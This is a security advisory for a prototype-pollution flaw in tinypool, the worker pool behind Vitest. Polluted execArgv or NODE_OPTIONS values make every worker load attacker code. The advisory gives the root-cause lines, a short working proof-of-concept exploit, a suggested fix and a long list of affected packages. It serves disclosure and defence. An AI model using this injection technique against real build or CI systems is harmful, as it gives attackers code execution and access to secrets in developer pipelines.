Severity
Details
- CVSS score
- 9.5
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- CWE ID
Overview
About vulnerability
tinypool passes worker options to new Worker() by reading them off a plain object whose prototype is Object.prototype. Options the application did not set are resolved through the prototype chain and then passed explicitly to worker_threads.Worker.
Node core ignores Worker options inherited from Object.prototype. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.
Two keys reach code execution:
execArgv— pollutingObject.prototype.execArgv = ['--require', '/path/to/attacker.js']causes every pool worker to load the attacker’s script.env— pollutingObject.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' }achieves the same via environment injection.
Root cause
dist/index.js lines 508-511:
env: this.options.env,
argv: this.options.argv,
execArgv: this.options.execArgv,
resourceLimits: this.options.resourceLimits,
this.options is built at line 470 via object spread:
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };
Impact
Arbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).
Proof of concept
Minimal reproduction (3 files):
worker.mjs — the application’s own legitimate worker:
export default function double(n) { return n * 2 }
payload.js — attacker-controlled code (never referenced by the app):
const fs = require('fs')
fs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid)
console.log('*** RCE ***')
app.js — normal tinypool usage:
const path = require('path')
// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge)
Object.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')]
const { Tinypool } = require('tinypool')
const pool = new Tinypool({
filename: path.join(__dirname, 'worker.mjs'),
minThreads: 1, maxThreads: 1
})
pool.run(21).then(r => {
console.log('pool returned:', r) // 42 — app works normally
pool.destroy()
})
Run:
npm i [email protected]
node app.js
cat /tmp/RCE_PROOF.txt # attacker's code ran
Both execArgv and env vectors confirmed on Node 20.
Suggested fix
Resolve worker options with own-property semantics:
this.options = Object.assign(Object.create(null),
kDefaultOptions, options, { filename, maxQueue: 0 });
Details
- Affected product:
- appium , create-octane , create-rspack , create-rspeedy , docsearch , docusaurus , docusaurus-core , docusaurus-plugin-content-blog , docusaurus-plugin-content-docs , docusaurus-plugin-content-pages , docusaurus-plugin-css-cascade-layers , docusaurus-plugin-debug , docusaurus-plugin-google-analytics , docusaurus-plugin-google-gtag , docusaurus-plugin-google-tag-manager , docusaurus-plugin-sitemap , docusaurus-plugin-svgr , docusaurus-preset-classic , docusaurus-search-local , docusaurus-theme-classic , docusaurus-theme-common , docusaurus-theme-mermaid , docusaurus-theme-search-algolia , effect-sql-sqlite-do , effect-vitest , forge , hotkeys , livestore , livestore-adapter-cloudflare , livestore-adapter-web , livestore-common , livestore-common-cf , livestore-framework-toolkit , livestore-livestore , livestore-react , livestore-sqlite-wasm , livestore-sync-cf , livestore-sync-electric , livestore-utils , livestore-utils-dev , livestore-webmesh , lynx-js-rspeedy , lynx-js-web-constants , lynx-js-web-core , lynx-js-web-worker-rpc , lynx-js-web-worker-runtime , lynx-stack , metamask-core , modern-js-plugin-polyfill , modern-js-tsconfig , modern.js , octane , octanejs-adapter-cloudflare , octanejs-adapter-vercel , octanejs-alien-signals , octanejs-animejs , octanejs-apollo-client , octanejs-app-core , octanejs-aria , octanejs-astro , octanejs-auto-animate , octanejs-base-ui , octanejs-better-auth , octanejs-calendar , octanejs-cmdk , octanejs-colorful , octanejs-content-loader , octanejs-day-picker , octanejs-devtools , octanejs-dexie , octanejs-dnd-kit , octanejs-docusaurus , octanejs-draggable , octanejs-drei , octanejs-dropzone , octanejs-electron , octanejs-email , octanejs-embla-carousel , octanejs-floating-ui , octanejs-formisch , octanejs-gsap , octanejs-hook-form , octanejs-html-react-parser , octanejs-i18next , octanejs-image-crop , octanejs-inertia , octanejs-ink , octanejs-input-otp , octanejs-intersection-observer , octanejs-jotai , octanejs-lexical , octanejs-livestore , octanejs-lucide , octanejs-mantine-hooks , octanejs-markdown , octanejs-mdx , octanejs-mobx , octanejs-monaco-editor , octanejs-motion , octanejs-nuqs , octanejs-octane-is , octanejs-opentui , octanejs-pdf , octanejs-phosphor-icons , octanejs-popper , octanejs-portabletext , octanejs-radix , octanejs-rainbowkit , octanejs-react-error-boundary , octanejs-react-map-gl , octanejs-recharts , octanejs-redux , octanejs-redux-toolkit , octanejs-remix-router , octanejs-resizable-panels , octanejs-rsbuild-plugin , octanejs-rspack-plugin , octanejs-rxjs , octanejs-sanity-icons , octanejs-sanity-loader , octanejs-sanity-logos , octanejs-select , octanejs-seo , octanejs-shadcn , octanejs-solana-kit , octanejs-sonner , octanejs-spring , octanejs-stick-to-bottom , octanejs-streamdown , octanejs-styled-components , octanejs-stylex , octanejs-swr , octanejs-syntax-highlighter , octanejs-tanstack-ai , octanejs-tanstack-db , octanejs-tanstack-devtools , octanejs-tanstack-form , octanejs-tanstack-hotkeys , octanejs-tanstack-pacer , octanejs-tanstack-query , octanejs-tanstack-router , octanejs-tanstack-router-ssr-query , octanejs-tanstack-start , octanejs-tanstack-store , octanejs-tanstack-table , octanejs-tanstack-virtual , octanejs-tauri , octanejs-testing-library , octanejs-textarea-autosize , octanejs-thinking-orbs , octanejs-three , octanejs-tiptap , octanejs-to-print , octanejs-transition-group , octanejs-usehooks-ts , octanejs-valtio , octanejs-vaul , octanejs-visx , octanejs-vite-plugin , octanejs-wagmi , octanejs-waypoint , octanejs-window , octanejs-wouter , octanejs-xstate , octanejs-xstate-store , octanejs-xyflow , octanejs-zag , octanejs-zustand , oxc , oxc-tsrx , oxfmt , oxfmt-binding-linux-riscv64-musl , rsbuild-core , rsbuild-plugin-check-syntax , rsbuild-plugin-css-minimizer , rsdoctor-core , rsdoctor-rspack-plugin , rspack , rspack-binding , rspack-cli , rspack-test-tools , tanstack-ai-octane , tanstack-angular-hotkeys-devtools , tanstack-octane-hotkeys , tanstack-octane-pacer , tanstack-octane-store , tinypool , tsrx-oxc , upgrade-rspeedy , vite-plus , vitest , vitest-browser , vitest-coverage-istanbul , vitest-coverage-v8 , vitest-expect , vitest-mocker , vitest-pretty-format , vitest-runner , vitest-snapshot , vitest-spy , vitest-ui , vitest-utils , vitest-web-worker , vitest-ws-client , voidzero-dev-vite-plus-darwin-arm64 , zbsearch , zbsearch-docs-index , zbsearch-edge-core , zbsearch-edge-index-builder , zbsearch-highlight , zbsearch-plugin-data-persistence , zbsearch-plugin-docusaurus , zbsearch-plugin-embeddings , zbsearch-plugin-match-highlight , zbsearch-plugin-parsedoc , zbsearch-plugin-pt15 , zbsearch-plugin-qps , zbsearch-plugin-starlight , zbsearch-plugin-vitepress , zbsearch-runtime-cloudflare , zbsearch-searchbox-core , zbsearch-searchbox-react , zbsearch-searchbox-vue , zbsearch-static , zbsearch-stemmers , zbsearch-stopwords , zbsearch-tokenizers
- Affected packages:
- tinypool @ 0.2.1 (+1178 more)